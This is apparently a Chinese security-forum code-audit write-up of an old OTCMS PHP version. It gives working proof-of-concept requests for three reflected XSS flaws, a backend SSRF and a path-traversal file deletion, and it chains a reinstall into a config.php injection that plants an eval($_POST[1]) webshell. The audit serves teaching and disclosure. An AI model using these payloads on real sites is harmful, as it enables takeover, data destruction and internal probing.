问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
PHP代码审计--OTCMS
本文审计版本为php老版本,非最新版,仅为了学习代码审计
### 0x00 审计环境 ```php phpstudy(php5.6.27+Apache+mysql) Windows10 64位 PHPStorm + seay代码审计工具 ``` 将源码放到WWW目录,访问/install安装即可  ### 0x01 目录结构  ### 0x02 代码审计 审计习惯,先看install文件,测测有没有重装漏洞  直接把需要删除的文件路径显示出来,那么如果后续存在任意文件删除漏洞,就可以配合达到重装的目的。接下来从index.php文件看起,配合代码审计工具进行审计,当然也可以配合一些漏洞扫描工具来更好的发现漏洞。 #### 前台XSS漏洞 ##### 第一处 /apiRun.php   AutoRun函数中,对GET方式传入的mode参数没有做任何处理,直接带入  而要调用AutoRun函数,需mudi参数为autoRun,构造poc: `/apiRun.php?mudi=autoRun&mode=";alert(/xss/);//` 漏洞验证:  ##### 第二处 /read.php  GetCityData函数中,idName参数没有做任何处理,带入GetCituOptionJs函数中 跟进该方法  该方法中idName参数被直接带入DOM方法中输出  要调用GetCityData函数需mudi参数,构造poc: `/read.php?mudi=getCityData&idName=alert(/xss/)` 漏洞验证:  ##### 第三处 /users\_deal.php  检测type是否为数组中的固定值,不是则带入AlertEnd方法中 跟进该方法  发现type被带\\<script>标签,使用AlertFilter函数处理后直接alert,跟进AlertFilter函数  发现只是替换了回车和英文双引号,没有其他过滤,构造poc进行闭合: `/users_deal.php?mudi=mailSend&type=alert(/xss/)` 漏洞验证:  #### 后台ssrf 漏洞关键代码 /inc/classReqUrl.php  函数UseCurl中,调用curl\_exec函数执行了一个curl会话,只有$url参数可控,即可造成ssrf漏洞 漏洞分析: /info\_deal.php  AddOrRev函数中  此处第二个参数,即$img参数可控,看一下$img参数传入方式    $img参数通过POST方式传入,并且无过滤措施 继续跟进SaveRemoteFile函数  第二个参数被带入GetUrlContent函数,跟进GetUrlContent函数  同样,根据可控参数的带入,跟进UseAuto函数,并且此处传入3个参数 0,GET,$url  根据传入第一个参数$seMode为0,会调用UseCurl函数,即进入漏洞关键函数 目前已知漏洞触发链条,接下来只需要根据进入函数的条件,构造poc即可 首先需要进入AddOrRev函数,只需$mudi值为add  然后需要满足进入SaveRemoteFile函数的条件    最终构造poc如下: ```php POST /admin/info deal.php?mudi=add isSavelmg=1&img=URL&theme=1&typeStr=1&time=1 ``` 漏洞验证:  成功收到请求  #### 任意文件删除漏洞 漏洞关键代码 /userCenter\_deal.php  函数Del中,对路径参数无任何过滤,直接使用unlink函数删除文件 漏洞分析 usersCenter\_deal.php  跟进rev函数  POST传入revType参数的值,然后根据revType的值决定后续走向,继续往下  首先使用PostRegExpStr函数处理几个参数值,跟进该函数    通过正则匹配将一些字符替换为空 回到rev函数  获取用户信息,此处需要前台用户登录才能继续往下  在这里进入漏洞触发点Del函数 回过头开始构造poc  首先进入rev函数需$mudi值为rev  然后3个$dashangImg参数长度之和不能小于5 构造poc如下 ```php POST /usersCenter_deal.php?mudi=rev revType=app&dashangImg1=11&dashangImg2=11&dashangImg3=11&dashangImg1Old=../../1.txt ```  进行漏洞验证时发现无法执行,搜索提示找到代码   ```php if ($_SERVER['REQUEST_METHOD'] == 'POST' && (empty($_SERVER['HTTP_REFERER']) || preg_replace("tps?:\/\/([^\:\/]+).*/i", "\\1", $_SERVER['HTTP_REFERER']) !== preg_replace("/([^\:]+).*/", "\\1", $_SERVER['HTTP_HOST']))) ``` OutSubmit函数中,检查请求方式是否为POST并且Referer是否和Host相同,那么构造最终poc如下: ```php POST http://www.ot.com/usersCenter\_deal.php?mudi=rev Referer:http://www.ot.com revType=app&dashangImg1=11&dashangImg2=11&dashangImg3=11&dashangImg1Old=../../1.txt ``` 漏洞验证  成功删除文件 #### 系统重装漏洞 根据之前知道的install.lock文件的位置,配合文件上传漏洞,即可将install.lock删除  删除后访问/install  成功访问到重装页面 **重装写shell**  安装系统时,通过Write函数将一些值写入config.php 参数如下   accBackupDir参数通过POST传入,没有过滤  构造poc进行闭合 ```php POST /install/index.php?mudi=run adminName=admin&adminPwd=admin&adminDir=admin&dbType=mysql&accName=%23+OTCMS%40%21db%2522.db&accDir=Data&sqlIp=localhost&sqlPo=3306&sqlUsername=root&sqlUserPwd=123456&sqlDbName=OTCMS&sqlPref=OT_&isImport=2&mysqlState=1&accBackupDir=Data_backup');eval($_POST[1]);# ``` 成功写入shell  访问发现config.php  发现对该文件的访问进行了限制  /install/index.php包含了该文件  成功getshell
发表于 2023-03-02 09:00:01
阅读 ( 7445 )
分类:
代码审计
1 推荐
收藏
0 条评论
请先
登录
后评论
Cl0wnkey
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!